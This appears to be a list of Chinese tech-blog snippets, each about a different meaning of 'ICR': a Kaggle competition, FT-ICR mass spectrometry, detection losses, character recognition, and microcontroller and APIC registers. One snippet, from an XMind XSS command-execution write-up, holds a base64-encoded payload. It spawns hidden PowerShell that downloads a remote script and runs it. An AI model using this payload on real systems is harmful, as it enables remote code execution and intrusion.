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- 来自专栏Python数据科学
Kaggle ICR 赛题 LightGBM基础思路
作者：Coggle Kaggle ICR比赛现在在进行中，这个比赛是一个典型的数据挖掘比赛，很适合入门学习。本文将介绍现在ICR基础的解决方案。 赛题名称：ICR - Identifying Age-Related Conditions 赛题任务：数据挖掘 https://www.kaggle.com/competitions/icr-identify-age-related-conditions greeks.csv：训练集元数据 COMP_PATH = "/kaggle/input/icr-identify-age-related-conditions" train = pd.read_csv submission.to_csv(r"submission.csv", index=False) submission 代码地址：https://www.kaggle.com/code/chaitanyagiri/icr
50220编辑于 2023-08-29 - 来自专栏测试GO材料测试
傅里叶变换离子回旋共振质谱（FT-ICR-MS）：原理、应用与数据分析
, FT-ICR-MS）是一种超高分辨率的质谱技术，广泛应用于复杂样品的精确质量测定、分子结构解析以及元素组成分析。 FT-ICR-MS的基本原理FT-ICR-MS基于离子在强磁场中的回旋共振现象进行质量分析。 离子捕获：离子被引入超高真空环境下的ICR池（Penning Trap），在强磁场（通常为3~15 Tesla）作用下做回旋运动。 FT-ICR-MS可分析的数据类型FT-ICR-MS可提供丰富的数据信息，主要包括：（1）精确分子量测定通过高分辨率质谱数据，可计算离子的精确质量，进而推断其元素组成（如C、H、O、N、S等）。 （2）同位素分布分析FT-ICR-MS可清晰分辨同位素峰（如¹³C vs. ¹²C），用于验证分子式或研究生物分子的同位素标记实验。
95010编辑于 2025-06-30 基于ICR损失与SVMLP数据集：小目标检测新突破，车牌检测准确率显著提升
本文的贡献总结如下：首先，我们利用 SOD 中的类间空间关系设计了 ICR 损失。我们提出的损失提供了一个额外的空间规则，为小目标提供了细粒度的监督信号。 标注保持了高质量和泛化能力，更充分地证明了 ICR 损失惩罚的效率。 所提出的 ICR 损失惩罚能够可靠地基于现有的基于 IoU 的损失改进小目标的 AP 指标。例如，LICR-IoU 显著提高了 AP 指标，而没有增加任何模型参数。 利用 Coovally 的自动化模型训练与调优功能，用户可轻松复现论文中的实验，并快速验证ICR等新型损失函数在自定义任务上的效果，极大加速研究和落地流程。 ICR 损失惩罚提供了一种简单、高效的方法来改进模型性能，而无需额外的计算。
37310编辑于 2025-08-26- 来自专栏腾讯云TI平台
腾讯云智能2项计算机视觉行业标准获工信部立项，助力建设AI标准体系
2 人工智能-智能字符识别技术要求 目前，市场上出现了各种各样基于AI的ICR应用以及基于ICR的AI应用，广泛应用于复杂自然场景中印刷、手写等各类文本字符的识别，以及对文件中的结构化对象进行识别和编码等场景 但由于缺少针对ICR的功能、性能及其试验方法等技术要求的统一标准，相关产品和服务的技术能力和质量水平参差不齐，导致成本虚耗、市场环境动荡等问题。 【ICR（Intelligent Character Recognition，智能字符识别）就是在OCR的基础上，植入深度学习的人工智能技术。】 基于此，腾讯云智能通过此项标准制定，不仅能为ICR逻辑结构提供一致性认知，也将面向各个行业、领域的ICR服务和基于ICR的AI系统应用，对其相关产品（软硬件产品）和服务（SDK、SaaS）的功能和性能要求 、评价方法提供统一规范，促进基于AI的ICR产品和服务市场、以及基于ICR的AI系统应用质量正向发展。
79710编辑于 2023-04-04 - 来自专栏码农爱学习的专栏
【i.MX6ULL】驱动开发3——GPIO寄存器配置原理
2.2.4 配置ICR1寄存器 ICR1（interrupt configuration register1）和ICR2，都是中断控制寄存器， ICR1用于配置低16个GPIO，ICR2 用于配置高16 ， 需要配置为：GPIO1.ICR1=2<<30。 2.2.5 配置ICR2寄存器 ICR1和ICR2（interrupt configuration register2），都是中断控制寄存器， ICR1用于配置低16个GPIO，ICR2 用于配置高16 若要设置GPIO1的IO16~31的话就需要设置ICR2寄存器了，设置方式参考上面的ICR1。下面这个图与ICR1类似，只截取部分显示。 它用来设置边沿中断， 并会覆盖ICR1和ICR2的设置。 如果相应的位被置1，则相当于设置了对应的GPIO是双边沿(上升沿和下降沿)触发。
2.4K32发布于 2021-09-29 - 来自专栏晓飞的算法工程笔记
旷世提出类别正则化的域自适应目标检测模型，缓解场景多样的痛点 | CVPR 2020
Approach *** Framework Overview [1240] 论文方法的整体架构如图2，在DA Faster R-CNN基础上添加了ICR(image-level categorical Image-Level Categorical Regularization ICR的主要目的是提高主干网络的目标特征提取能力，同时降低背景的激活。 结构如图2b所示，ICR使用源域数据进行有监督训练，对主干网络的特征输出进行全局池化，再使用多标签分类器($1\times 1$卷积)进行分类，损失函数使用标准交叉熵多标签损失： [1240] $C [1240] ICR模块利用多标签分类器的弱定位能力，能够有监督地引导主干网络只激活类相关特征。如图3所示，类相关的特征会有较高的激活值。 Integration with DA Faster R-CNN Series 将论文提出的方法加入到DA Faster R-CNN中，ICR为直接加入，CCR为对原损失的修改，最终的损失函数为 [
92040发布于 2020-06-23 - 来自专栏深度学习自然语言处理
【内含baseline】Kaggle机器学习新赛指南！
日前，Kaggle发布了ICR - Identifying Age-Related Conditions疾病识别大赛。 数据分布： 相关性分析： 构建训练数据 读取数据，具体可以详见baseline代码，里面有更为详细的介绍 train = pd.read_csv('/kaggle/input/icr-identify-age-related-conditions /train.csv') test = pd.read_csv('/kaggle/input/icr-identify-age-related-conditions/test.csv ') greeks = pd.read_csv('/kaggle/input/icr-identify-age-related-conditions/greeks.csv') sample_submission = pd.read_csv('/kaggle/input/icr-identify-age-related-conditions/sample_submission.csv') Baseline流程
45420编辑于 2023-08-22 - 来自专栏TSINGSEE青犀视频
平安校园智慧安防监控摄像头的布控建议
建议：可选用高清超高解低照度枪式摄像机或者防暴球型摄像机，若楼道内光线较差也可选用红外枪式摄像机，教室内监控摄像探头选用ICR日夜型枪式摄像机或者球形摄像机。 建议：可选用ICR日夜型超高解枪式摄像机或者球形摄像机，摄取固定场景，当室内照度受室外光线影响较大时建议采用自动光圈镜头，有利于摄像机清晰成像；选用室内高速球机可使监管人员环视食堂内部环境，并在有突发事件时 建议：监控探头选用ICR日夜型超高解枪式摄像机，周边选用室外高速球机或者带云台枪机。 建议：选用ICR日夜型超高解枪式摄像机和室外高速球机，前端采用环网组网方式实现资源节约而冗余的效果。
76920编辑于 2023-10-27 - 来自专栏全栈程序员必看
vue父子组件传值 简单了解vuex
我们需要在index.vue里改动一下代码 首先： <son v-bind:num="num" v-on:add="<em>icr</em>" v-on:minu="der"></son>//v-on:add="icr "就是绑定一个自定义事件 再增加 methods:{ icr(){ this.num++; }, der(){ this.num $emit("minu"); } } } </script> // index.vue <template>
<son v-bind:num="num" v-on:add="<em>icr</em> default { data () { return { num:10 } }, components:{ son }, methods:{ <em>icr</em>57720编辑于 2022-08-29来自专栏虚拟化笔记IOMMU(六)-post interrupt
首先源vcpu需要把ipi的目的vcpu的local apic id写到apic寄存器，再写icr寄存器，写icr寄存器就会导致vcpu exit，然后kvm就可以利用vt-x posted interrupt 有人就想到把源vcpu所运行的物理cpu的lapic的icr寄存器透传给vcpu，把其它vcpu的post interrupt descriptor也透传给虚拟机源vcpu，源vcpu要给目的vcpu发送 ipi，源vcpu修改目的vcpu的post interrupt descriptor，源vcpu给真正的硬件寄存器icr写post interrupt notification vector，这样源vcpu
2.7K40发布于 2021-05-18来自专栏嵌入式项目开发STM32驱动CS SD NAND贴片式TF卡完成读写测试
->CMD=0x00000000; SDIO->DTIMER=0x00000000; SDIO->DLEN=0x00000000; SDIO->DCTRL=0x00000000; SDIO->ICR =SD_OK)return errorstatus; } } // INTX_ENABLE();//开启总中断 SDIO->ICR=0X5FF; //清除所有标记 =cmd)return SD_ILLEGAL_CMD;//命令不匹配 SDIO->ICR=0X5FF; //清除标记 return (SDIO_SD_ERROR_INFO |=1<<0; //清除响应标志 } SDIO->ICR=0X5FF; //清除标记 return errorstatus; } |=1<<0; //清除错误标记 return SD_CMD_CRC_FAIL; } if(status&(1<<2)) //命令超时 { SDIO->ICR|=1<<2; /
46810编辑于 2025-05-29来自专栏Khan安全团队XMind 2021 11.0 Beta 1 XSS漏洞导致命令执行
cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzE5Mi4xNjguNzIuMTI5OjgwODEvYWJjZGVcJykpIicsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzE5Mi4xNjguNzIuMTI5OjgwODEvYWJjZGVcJykpIicsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw
87420发布于 2021-05-28来自专栏DrugOneNat. Commun. | msiPL：质谱数据分析的新工具
以及论文作者收集整理的两个MSI数据集，4）人类前列腺癌的2D MALDI MSI数据集，和5）胶质母细胞瘤的PDX小鼠脑模型的3D MALDI FT-ICR MSI数据集。 分析来自人前列腺癌组织标本的FT-ICR MSI 数据 来自人前列腺癌组织标本的FT-ICR MSI数据含有12716个像素，每个像素是一个高维度的数据点，其含有730403个m/z（质荷比）值。 图3 在人前列腺癌组织标本的FT-ICR MSI 数据上的实验结果 在胶质母细胞瘤的PDX小鼠脑模型中识别肿瘤特异性代谢特征 从胶质母细胞瘤(GBM12)小鼠脑模型中采集了四个12µm厚度的连续组织切片 ，并通过MALDI FT-ICR MSI进行分析。
94930发布于 2021-10-11来自专栏虚拟化笔记IOMMU(六)-post interrupt
首先源vcpu需要把ipi的目的vcpu的local apic id写到apic寄存器，再写icr寄存器，写icr寄存器就会导致vcpu exit，然后kvm就可以利用vt-x posted interrupt 有人就想到把源vcpu所运行的物理cpu的lapic的icr寄存器透传给vcpu，把其它vcpu的post interrupt descriptor也透传给虚拟机源vcpu，源vcpu要给目的vcpu发送 ipi，源vcpu修改目的vcpu的post interrupt descriptor，源vcpu给真正的硬件寄存器icr写post interrupt notification vector，这样源vcpu
2.2K11编辑于 2022-04-28来自专栏新智元比DNA存储更可怕！你的照片居然可以存储在氨基酸分子溶液里
干燥后，可将板储存在湿度控制柜中，或进行MALDI-FT-ICR质谱分析。 使用FT-ICR MS，即使它们的质量仅相差milli-Daltons ，也可以区分代谢物。 在图2（a）中，显示了包含鸟苷（go）和9-氨基吖啶（9A）基质的斑点的一个正离子MALDI-FT-ICR质谱。 如方法中所述，使用FT-ICR-MS对板进行书写和分析。 图3a显示了240个独立点观测到的质谱背景噪声的空间图和直方图。 每个高分辨率FT-ICR质谱包含〜2×106 m/z 点。由于质谱空间的大部分是背景，因此首先将特征的数量减少到统计上有用的特征数量。
1.1K10发布于 2019-07-12来自专栏嵌入式项目开发STM32+雷龙SD NAND(贴片SD卡)完成FATFS文件系统移植与测试
->CMD=0x00000000; SDIO->DTIMER=0x00000000; SDIO->DLEN=0x00000000; SDIO->DCTRL=0x00000000; SDIO->ICR =SD_OK)return errorstatus; } } // INTX_ENABLE();//开启总中断 SDIO->ICR=0X5FF; //清除所有标记 =cmd)return SD_ILLEGAL_CMD;//命令不匹配 SDIO->ICR=0X5FF; //清除标记 return (SDIO_SD_ERROR_INFO |=1<<0; //清除响应标志 } SDIO->ICR=0X5FF; //清除标记 return errorstatus; } |=1<<0; //清除错误标记 return SD_CMD_CRC_FAIL; } if(status&(1<<2)) //命令超时 { SDIO->ICR|=1<<2; /
3.2K10编辑于 2023-01-30来自专栏云深之无迹定时器的输入捕获通道（Input Capture Channel）
输入捕获模式通常与定时器配合工作，定时器不断计数，而当输入信号的边沿变化时，定时器的当前值会被保存到输入捕获寄存器（ICR）中。 定时器运行，计数器 CNT 以设定的时钟递增。 当输入信号的指定边沿（上升沿/下降沿）被检测到：MCU 立即将当前定时器 CNT 计数值保存到 ICR（输入捕获寄存器）。
65400编辑于 2025-02-05来自专栏全栈程序员必看Linux 中挖矿病毒处理过程
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2.9K10编辑于 2022-08-30来自专栏TencentOS-tinyi.MX RT1062 嵌套中断向量控制器NVIC
Combined_16_31_IRQHandler：高16位的引脚共用该编号； GPIO外设拥有三个寄存器用于中断相关： ① GPIOx_IMR寄存器用于控制是否使能该引脚的中断： ② GPIOx_ICR1 和GPIO_ICR2寄存器用于配置中断触发条件： 其中每 2 位用来配置一个引脚，比如ICR0和ICR1用来配置该外设第0个引脚： ③ 16个引脚共用一个中断源，所以需要查询中断状态寄存器 GPIOx_ISR
1.2K30编辑于 2021-12-28来自专栏橙、【光学字符识别】OCR 浅述
随着技术的发展，除了逐个字词识别的 OCR，还有了 ICR 和 IWR：ICR（Ink Character Recognition，墨水字符识别）是一种能够在墨水文字上进行字符识别的技术。 相对于OCR，ICR更加注重识别字符的笔画和笔画之间的空间关系，以及字符的书写风格等因素。ICR在实际应用中有着广泛的应用场景，例如手写体文件的识别、数字签名的识别等。
1.5K30编辑于 2023-08-25
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